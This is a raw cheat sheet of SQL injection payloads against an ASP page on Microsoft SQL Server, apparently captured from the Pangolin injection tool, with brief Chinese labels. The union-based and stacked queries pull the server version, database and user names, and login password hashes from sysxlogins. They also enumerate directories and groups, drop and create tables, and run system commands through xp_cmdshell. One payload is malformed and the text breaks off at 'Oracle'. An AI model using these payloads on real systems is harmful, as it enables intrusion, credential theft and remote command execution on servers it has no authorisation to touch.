newmess.asp?id=70' ;

drop table pangolin_test_table;
create table pangolin_test_table([id] [int] identity (1,1) not null,[name] [nvarchar] (300) not null,[depth] [int] not null,[isfile] [nvarchar] (50) null);--

declare @z nvarchar(4000) set @z=0x65003a005c00 insert pangolin_test_table execute master..xp_dirtree @z,1,1--

and 1=2 union all select char(94)+char(94)+char(94)+cast(cast(count(1) as varchar(8000)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from pangolin_test_table--

and 1=2 union all select char(94)+char(94)+char(94)+cast(cast([isfile] as nvarchar(4000))+char(94)+cast([name] as nvarchar(4000)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from (select top 1 * from (select top 替换值 [name],[isfile] from pangolin_test_table group by [name],[isfile] order by [isfile]) t order by [isfile] desc,[name] desc) t----
替换值从1开始，123456……

查version
newmess.asp?id=70' and 1=2 union all select char(94)+char(94)+char(94)+cast(@@version as nvarchar(4000))+char(94)+char(94)+char(94),null,null --
char(94)转换后是^

查DB name
newmess.asp?id=70' and 1=2 union all select char(94)+char(94)+char(94)+cast(db_name() as nvarchar(4000))+char(94)+char(94)+char(94),null,null --

查Server name
newmess.asp?id=70' and 1=2 union all select char(94)+char(94)+char(94)+cast(@@servername as nvarchar(4000))+char(94)+char(94)+char(94),null,null --

查Host name
newmess.asp?id=70' and 1=2 union all select char(94)+char(94)+char(94)+cast(and host_name()=0-- as nvarchar(4000))+char(94)+char(94)+char(94),null,null --

查system user
newmess.asp?id=70' and 1=2 union all select char(94)+char(94)+char(94)+cast(system_user as nvarchar(4000))+char(94)+char(94)+char(94),null,null --

查current user
newmess.asp?id=70' and 1=2 union all select char(94)+char(94)+char(94)+cast(user as nvarchar(4000))+char(94)+char(94)+char(94),null,null --

查privilege
newmess.asp?id=70' and 1=2 union all select char(94)+char(94)+char(94)+cast(is_srvrolemember(0x730079007300610064006d0069006e00) as nvarchar(4000))+char(94)+char(94)+char(94),null,null --

查Databases
newmess.asp?id=70' and 1=2 union all select top 1 char(94)+char(94)+char(94)+cast(cast([name] as nvarchar(4000))+char(94)+cast([filename] as nvarchar(4000)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from (select top 1 dbid,name,filename from (select top 替换值 dbid,name,filename from [master].[dbo].[sysdatabases] order by 1) t order by 1 desc)t--
替换值从1开始，123456……

查Drivers
newmess.asp?id=70' ;drop table pangolin_test_table;--

newmess.asp?id=70' ;create table pangolin_test_table(name nvarchar(255),low nvarchar(255),high nvarchar(255),type nvarchar(255));--

newmess.asp?id=70' ;insert pangolin_test_table exec master.dbo.xp_availablemedia;--

newmess.asp?id=70' and 1=2 union all select top 1 char(94)+char(94)+char(94)+cast(cast([name] as nvarchar(4000))+char(94)+cast([type] as nvarchar(4000)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from (select top 1 * from (select top 替换值 [name],[low],[high],[type] from pangolin_test_table group by [name],[low],[high],[type] order by [name]) t order by [name] desc)t--
替换值从1开始，123456……

newmess.asp?id=70' ;drop table pangolin_test_table;--

查Localgroupus
newmess.asp?id=70' ;drop table pangolin_test_table;--

newmess.asp?id=70' ;create table pangolin_test_table(name nvarchar(255),description nvarchar(4000));--

newmess.asp?id=70' ;insert pangolin_test_table exec master.dbo.xp_enumgroups;--

newmess.asp?id=70' and 1=2 union all select top 1 char(94)+char(94)+char(94)+cast(cast([name] as nvarchar(4000))+char(94)+cast([description] as nvarchar(4000)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from (select top 1 * from (select top 1 [name],[description] from pangolin_test_table group by [name],[description] order by [name]) t order by [name] desc)t--

newmess.asp?id=70' and 1=2 union all select top 1 char(94)+char(94)+char(94)+cast(cast([name] as nvarchar(4000))+char(94)+cast([description] as nvarchar(4000)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from (select top 1 * from (select top 替换值 [name],[description] from pangolin_test_table group by [name],[description] order by [name]) t order by [name] desc)t--
替换值从1开始，123456……

newmess.asp?id=70' ;drop table pangolin_test_table;--

查users
newmess.asp?id=70' and 1=2 union all select top 1 char(94)+char(94)+char(94)+cast(cast([name] as nvarchar(4000))+char(94)+isnull(master.dbo.fn_varbintohexstr([password]),char(32)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from (select top 1 * from (select top 1 [name],[password] from master..sysxlogins where xstatus!=192 order by [name]) t order by [name] desc)t--

获取表
newmess.asp?id=70' and 1=2 union all select char(94)+char(94)+char(94)+cast(cast(count(1) as varchar(10)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from [metc]..[sysobjects] where xtype=char(85) and status%3E0--
%3E是>号

执行命令
newmess.asp?id=70' ;create table [pangolin_test_table]([resulttxt] nvarchar(4000) null);--

newmess.asp?id=70' ;declare @z nvarchar(4000) set @z=0x640069007200200063003a005c00 insert into [pangolin_test_table](resulttxt) exec master.dbo.xp_cmdshell @z;alter table [pangolin_test_table] add id int not null identity (1,1)--

newmess.asp?id=70' and 1=2 union all select char(94)+char(94)+char(94)+cast(count(1) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from [metc]..[pangolin_test_table]--

newmess.asp?id=70' ;drop table [pangolin_test_table];--

Oracle